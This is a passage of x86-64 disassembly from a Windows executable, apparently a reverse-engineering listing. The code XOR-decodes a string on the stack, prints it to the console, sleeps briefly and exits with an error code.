xor byte [rsp + 0x36], r10b
xor byte [rsp + 0x37], r10b
xor byte [rsp + 0x38], r10b
xor byte [rsp + 0x39], r10b
xor byte [rsp + 0x3a], r10b
xor byte [rsp + 0x3b], r10b
xor byte [rsp + 0x3c], r10b
xor byte [rsp + 0x3d], r10b
xor byte [rsp + 0x3e], r10b
xor byte [rsp + 0x3f], r10b
movd eax, xmm2
xor al, r10b
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], r10b
xor byte [rsp + 0x42], r10b
xor byte [rsp + 0x43], r10b
xor byte [rsp + 0x44], r10b
xor byte [rsp + 0x45], r10b
xor byte [rsp + 0x46], r10b
xor byte [rsp + 0x47], r10b
xor byte [rsp + 0x48], r10b
xor byte [rsp + 0x49], r10b
xor byte [rsp + 0x4a], r10b
xor byte [rsp + 0x4b], r10b
xor byte [rsp + 0x4c], r10b
xor byte [rsp + 0x4d], r10b
xor byte [rsp + 0x4e], r10b
xor byte [rsp + 0x4f], r10b
movd eax, xmm3
xor al, r10b
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], r10b
xor byte [rsp + 0x52], r10b
xor byte [rsp + 0x53], r10b
xor byte [rsp + 0x54], r10b
xor byte [rsp + 0x55], r10b
xor byte [rsp + 0x56], r10b
xor byte [rsp + 0x57], r10b
xor byte [rsp + 0x58], r10b
xor byte [rsp + 0x59], r10b
xor byte [rsp + 0x5a], r10b
xor byte [rsp + 0x5b], r10b
xor byte [rsp + 0x5c], r10b
xor byte [rsp + 0x5d], r10b
xor byte [rsp + 0x5e], r10b
xor byte [rsp + 0x5f], r10b
xor cl, r10b
mov byte [rsp + 0x60], cl
xor dl, r10b
mov byte [rsp + 0x61], dl
xor r8b, r10b
mov byte [rsp + 0x62], r8b
xor r9b, r10b
mov byte [rsp + 0x63], r9b
xor r11b, r10b
mov byte [rsp + 0x64], r11b
xor bl, r10b
mov byte [rsp + 0x65], bl
xor dil, r10b
mov byte [rsp + 0x66], dil
xor sil, r10b
mov byte [rsp + 0x67], sil
xor r14b, r10b
mov byte [rsp + 0x68], r14b
xor r15b, r10b
mov byte [rsp + 0x69], r15b
xor r12b, r10b
mov byte [rsp + 0x6a], r12b
xor r13b, r10b
mov byte [rsp + 0x6b], r13b
mov al, 0x25
xor al, r10b
mov byte [rsp + 0x6c], al
mov byte [rsp + 0x6d], 0
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004430
mov ecx, 0x76c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3